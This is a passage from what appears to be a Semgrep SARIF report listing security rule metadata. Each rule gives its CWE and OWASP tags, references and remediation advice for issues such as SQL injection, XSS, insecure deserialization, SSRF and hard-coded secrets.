go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"help":{"markdown":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace)\n - [https://cwe.mitre.org/data/definitions/489.html](https://cwe.mitre.org/data/definitions/489.html)\n - [https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/](https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/)\n - [https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure)\n","text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","id":"java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","name":"java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","OWASP-A10:2004 - Insecure Configuration Management","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"help":{"markdown":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Document/writeln](https://developer.mozilla.org/en-US/docs/Web/API/Document/writeln)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Document/write](https://developer.mozilla.org/en-US/docs/Web/API/Document/write)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML](https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML)\n","text":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","id":"typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","name":"typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","id":"go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","name":"go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","id":"python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","name":"python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","id":"go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","name":"go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Executing non-constant commands. This can lead to command injection."},"help":{"markdown":"Executing non-constant commands. This can lead to command injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.exec-use.exec-use)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/SystemExecFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/SystemExecFunctionsSniff.php)\n","text":"Executing non-constant commands. This can lead to command injection."},"helpUri":"https://semgrep.dev/r/php.lang.security.exec-use.exec-use","id":"php.lang.security.exec-use.exec-use","name":"php.lang.security.exec-use.exec-use","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.exec-use.exec-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly."},"help":{"markdown":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML."},"help":{"markdown":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.direct-response-write.direct-response-write)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.direct-response-write.direct-response-write","id":"javascript.express.security.audit.xss.direct-response-write.direct-response-write","name":"javascript.express.security.audit.xss.direct-response-write.direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.direct-response-write.direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","id":"javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","name":"javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","id":"python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","name":"python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist."},"help":{"markdown":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.tainted-url-host.tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n","text":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.tainted-url-host.tainted-url-host","id":"go.lang.security.injection.tainted-url-host.tainted-url-host","name":"go.lang.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.strings.detected-private-key.detected-private-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","id":"javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","name":"javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.strings.detected-private-key.detected-private-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources."},"help":{"markdown":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMDataExfiltration.py)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/data-exfiltration/](https://cloudsplaining.readthedocs.io/en/latest/glossary/data-exfiltration/)\n","text":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","id":"terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","name":"terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from()."},"help":{"markdown":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)\n","text":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from()."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","id":"javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","name":"javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify."},"help":{"markdown":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n","text":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","id":"ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","name":"ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling assert with user input is equivalent to eval'ing."},"help":{"markdown":"Calling assert with user input is equivalent to eval'ing.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.assert-use.assert-use)\n - [https://www.php.net/manual/en/function.assert](https://www.php.net/manual/en/function.assert)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/AssertsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/AssertsSniff.php)\n","text":"Calling assert with user input is equivalent to eval'ing."},"helpUri":"https://semgrep.dev/r/php.lang.security.assert-use.assert-use","id":"php.lang.security.assert-use.assert-use","name":"php.lang.security.assert-use.assert-use","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.assert-use.assert-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input."},"help":{"markdown":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport)\n - [https://github.com/microsoft/monaco-editor/issues/801](https://github.com/microsoft/monaco-editor/issues/801)\n","text":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input."},"helpUri":"https://semgrep.dev/r/javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","id":"javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","name":"javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","id":"ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","name":"ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: 